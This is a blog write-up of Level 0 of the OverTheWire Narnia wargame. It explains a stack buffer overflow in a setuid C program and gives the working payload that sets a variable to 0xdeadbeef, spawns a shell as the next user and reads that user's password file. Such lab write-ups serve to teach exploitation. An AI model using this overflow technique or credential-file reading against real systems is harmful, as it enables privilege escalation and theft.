Narnia: Level 0

We all have to start somewhere

Posted on May 6, 2017, 11:56 p.m.

Welcome to my write-ups of the OverTheWire Narnia wargame. This wargame is designed to teach basic exploitation and introduce competitors to common software bugs.

Level 0 of Narnia is a classic buffer overflow challenge. For a fantastic introduction to buffer overflows you can read Aleph One's classic Phrack Magazine article Smashing The Stack For Fun And Profit. Bear in mind that the article was written in 1996 and so the techniques used will not work on most modern operating systems. Paul Makowski's Smashing the Stack in 2011 is a great explanation of some of things that have changed since then that stop Aleph's techniques from working and how to circumvent them.

Once you've SSHed into narnia.labs.overthewire.org as narnia0, change directory to /narnia and run ls -l. From the output we can see that we have read permissions on narnia0.c. We can also see that narnia0 is owned by the narnia0 group (of which we are part of as seen by running id) and that we have execute permissions on it. Moreover, we can see that narnia0 is executable as the narnia1 user since the setuid bit is set (as shown by the s on the left hand side of the output of ls -l) and it is owned by narnia1. From the output of file narnia0 we can see that narnia0 is an x86 ELF binary. It seems clear then that narnia0.c is the source code for narnia0 and that we need to exploit the narnia0 program in some way so that we can run arbitrary commands as narnia1. Running cat narnia0.c gives the following output.

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

From the code it's apparent that the aim of the level is to give val the value of 0xdeadbeef to open a shell as narnia1. We can see that the program reads a maximum of 24 bytes from stdin and places them in the buf variable, which so happens to be 20 bytes long. Since buf is defined straight after val, the 4 bytes of memory used to store the value of val will be straight after the 20 bytes reserved for buf. Hence, if we provide all 24 bytes they will overflow into the memory storing the value of val. We can therefore control its value.

Now, in order to write our payload we need to determine the endianness of the machine we're using. The following program will allow us to do just that.

const int i = 1;
#define is_bigendian() ( (*(char*)&i) == 0)

#include <stdio.h>

int main(void) {
    printf("%d\n", is_bigendian());
}

The is_bigendian function casts an integer pointer, which is pointing to a value of 1, to a character pointer, dereferences it and compares the result to the value 0. If the system is big-endian, the character pointer would be pointing at the most significant byte of the variable i, which is zero. We can write and compile this program in a subdirectory of /tmp.

narnia1@melinda:~$ mkdir /tmp/lukeaddison
narnia1@melinda:~$ cd /tmp/lukeaddison
narnia1@melinda:/tmp/lukeaddison$ nano endian.c
narnia1@melinda:/tmp/lukeaddison$ gcc endian.c -o endian
narnia1@melinda:/tmp/lukeaddison$ ./endian 
0

Hence we are on a little-endian machine and our payload will include the string of bytes \xef\xbe\xad\xde (the reverse of \xde\xad\xbe\xef). The \x notation starts a hexadecimal escape sequence, allowing us to write string constants containing arbitrary bytes. We use python to echo our payload and pipe it to narnia0.

narnia0@melinda:/narnia$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­?
val: 0xdeadbeef
narnia0@melinda:/narnia$

What happened? The output of the program shows that var was equal to the correct value, so why didn't our shell open? What happened was that the shell did open but then closed instantly. This is because when the python command terminated the shell received an EOF (end of file) from the pipe and also terminated. To remedy this, we can use cat to concatenate the output of our python process with stdin.

narnia0@melinda:/narnia$ cat <(python -c'print "A"*20 + "\xef\xbe\xad\xde"') - | ./narnia0

Running the above instead keeps our shell process open and anything we type gets sent to it via the cat process. We can therefore type commands as narnia1.

whoami
narnia1
cat /etc/narnia_pass/narnia1
efeidiedae

Comments


Latest Posts


Archive

2017

Categories